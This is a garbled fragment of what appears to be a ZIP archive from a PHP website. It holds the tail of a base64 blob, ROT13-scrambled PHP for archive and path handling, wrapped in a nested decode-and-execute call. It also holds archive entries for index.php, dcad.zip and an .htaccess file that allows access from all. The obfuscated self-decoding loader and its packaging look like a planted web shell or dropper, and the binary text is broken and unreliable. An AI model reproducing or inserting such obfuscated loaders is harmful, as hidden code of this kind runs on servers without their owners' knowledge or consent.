lyLCAkcW5nbik7DQoJCQkJcnlmcg0KCQkJCQlzY2hnZigkZ3V2Zi0+Z3pjX3N2eXIsICRxbmduKTsNCgkJCX0gcnlmciB7DQoJCQkJdnMgKCRndXZmLT52ZlRtdmNjcnEpDQoJCQkJCXRtY2hnZigkZ3V2Zi0+Z3pjX3N2eXIsICRxbmduLCAkeXJhdGd1KTsNCgkJCQlyeWZyDQoJCQkJCXNjaGdmKCRndXZmLT5nemNfc3Z5ciwgJHFuZ24sICR5cmF0Z3UpOw0KCQkJfQ0KCQl9DQoJfQ0KDQoJc2hhcGd2YmEgcHliZnJHemNTdnlyKCl7DQoJCXZzICh2Zl9lcmZiaGVwcigkZ3V2Zi0+Z3pjX3N2eXIpKXsNCgkJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKQ0KCQkJCXRtcHliZnIoJGd1dmYtPmd6Y19zdnlyKTsNCgkJCXJ5ZnINCgkJCQlzcHliZnIoJGd1dmYtPmd6Y19zdnlyKTsNCg0KCQkJJGd1dmYtPmd6Y19zdnlyID0gMDsNCgkJfQ0KCX0NCg0KCXNoYXBndmJhIHpueHJUYmJxQ25ndSgkY25ndSl7DQoJCXZzIChmZ2V5cmEoJGNuZ3UpPjApew0KCQkJJGNuZ3UgPSBmZ2VfZXJjeW5wcignXFwnLCAnLycsICRjbmd1KTsNCgkJCSRjbmVnQ25ndSA9IHJrY3licXIoJy8nLCAkY25ndSk7DQoJCQkkcnlmID0gcGJoYWcoJGNuZWdDbmd1KS0xOw0KCQkJc2JlICgkdiA9ICRyeWY7ICR2Pj0wOyAkdi0tKXsNCgkJCQl2cyAoJGNuZWdDbmd1WyR2XSA9PSAnLicpew0KICAgICAgICAgICAgICAgICAgICAvLyAgVnRhYmVyIGd1dmYgcXZlcnBnYmVsDQogICAgICAgICAgICAgICAgfSByeWZydnMgKCRjbmVnQ25ndVskdl0gPT0gJy4uJyl7DQogICAgICAgICAgICAgICAgICAgICR2LS07DQogICAgICAgICAgICAgICAgfQ0KCQkJCXJ5ZnJ2cyAoKCRjbmVnQ25ndVskdl0gPT0gJycpIG5hcSAoJHYhPSRyeWYpIG5hcSAoJHYhPTApKXsNCiAgICAgICAgICAgICAgICB9CXJ5ZnINCgkJCQkJJGVyZmh5ZyA9ICRjbmVnQ25ndVskdl0uKCR2IT0kcnlmID8gJy8nLiRlcmZoeWcgOiAnJyk7DQoJCQl9DQoJCX0gcnlmciAkZXJmaHlnID0gJyc7DQoJCQ0KCQllcmdoZWEgJGVyZmh5ZzsNCgl9DQp9DQo/Pg==",1),2),3);?>PK«ƒd\=j.†† index.phpnu„[µü¤ Order allow,deny Allow from all PK«ƒd\¢~°°dcad.zipnu„[µü¤PK«ƒd\=j.†† U°index.phpnu„[µü¤PK«ƒd\˜›<£{{ ±.htaccessnu„[µü¤PKÚȱ